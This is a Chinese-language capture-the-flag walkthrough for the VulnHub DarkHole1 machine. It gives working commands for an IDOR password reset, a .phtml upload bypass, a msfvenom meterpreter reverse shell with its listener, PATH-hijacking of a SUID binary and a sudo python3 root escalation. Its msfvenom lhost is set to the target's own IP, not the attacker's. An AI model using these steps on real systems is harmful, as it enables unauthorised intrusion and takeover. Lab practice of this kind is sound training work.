DarkHole1

前言

靶场地址:

https://www.vulnhub.com/entry/darkhole-1,724/

信息收集

端口扫描

ifconfig查到kali的ip为192.168.10.10

扫描该网段下面的在线设备,确认靶场IP为192.168.10.11,开放的端口有22、80

1
nmap -sS -Pn 192.168.10.0/24

image-20240904234313656

浏览器访问192.168.10.11结果如下:

image-20240904234621592

目录扫描

使用dirsearch扫描网站目录发现以下目录

1
dirsearch -u 192.168.10.11:80

image-20240904234943468

渗透测试

注册账号

访问登录页面发现可以注册账号

image-20240904235118255

登录网站

登录后的页面有两个功能:

  • 修改个人信息
  • 修改密码

看此时的URL的话可以看到get参数id=2,由此可以推测或许存在id为1的用户

image-20240905001208556

越权

Burpsuite拦截修改密码的包

image-20240905010138474

放包后返回密码已修改

image-20240905010210340

此处推测id=1的账号为admin,而我们在上一步已经将id=1的账号密码修改为admin,所以我们使用admin/admin尝试登录

image-20240905010500260

上传php文件

可以看到成功登录后管理员账户新增一个文件上传功能,由于该网站由php编写,所以尝试上传php文件

此处为了方便,新建了一个php文件,内容为phpinfo,假设上传的文件可以正常被解析的话,下一步就可以上传php的木马了

image-20240905011105898

上传过程种发现上传点会根据后缀名进行过滤,无法直接上传php文件。所以只能使用一些冷门的后缀名。

image-20240905011209671

此处经过多次尝试后发现.phtml可以正常上传并解析

image-20240905011742555

访问后被成功解析成php文件

image-20240905011835805

getshell

msf制作php木马

使用msf生成一个php木马文件msf_php.phtml

1
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.10.11 lport=4444 -o msf_php.phtml

image-20240905012115483

上传木马

使用上述方法上传到后台,返回的路径为upload/msf_php.phtml

image-20240905012455083

kali开启msf监听

开启msf监听

1
2
3
4
5
6
7
8
9
10
#打开msf控制台
msfconsole
#使用攻击模块
use exploit/multi/handler
#设置参数
set lhost 192.168.10.11
set lport 4444
set payload php/meterpreter/reverse_tcp
#启动
run

image-20240905013226417

此时使用浏览器访问php木马

image-20240905013321258

此时php木马已回连到kali的msf

image-20240905013351460

进入shell并生成一个交互式的shell

1
2
shell
python3 -c 'import pty;pty.spawn("/bin/bash");'

image-20240905013716636

提权

查看敏感文件后发现有三个账户,分别为root、darkhole和john

1
cat /etc/passwd | grep /bin/bash

image-20240905013956757

从home目录查找具有SUID权限的文件发现/home/john/toto文件具有SUID权限

1
find /home -perm -u=s -type f 2>/dev/null

image-20240905014315920

运行toto文件发现其作用是输出id

image-20240905014410224

由此推测,toto文件可能调用id命令,我们可以尝试通过修改环境变量,让toto在执行id命令时打开一个john的shell

1
2
3
4
echo "/bin/bash" > /tmp/id
chmod 777 /tmp/id
export PATH=/tmp:$PATH
/home/john/toto

image-20240905015038858

成功拿到john的shell,进入john的家目录发现存在password文件,此文件说明了john用户的密码为root123

1
2
cd /home/john
cat password

image-20240905015244485

查看john用户权限(此处需要john密码)

1
sudo -l

发现john可以使用root权限执行/usr/bin/python3 /home/john/file.py这个命令

image-20240905015503960

利用file.py打开一个root权限的shell

1
2
echo 'import pty;pty.spawn("/bin/bash");' > file.py
sudo /usr/bin/python3 /home/john/file.py

image-20240905020005767

成功拿到root权限!!!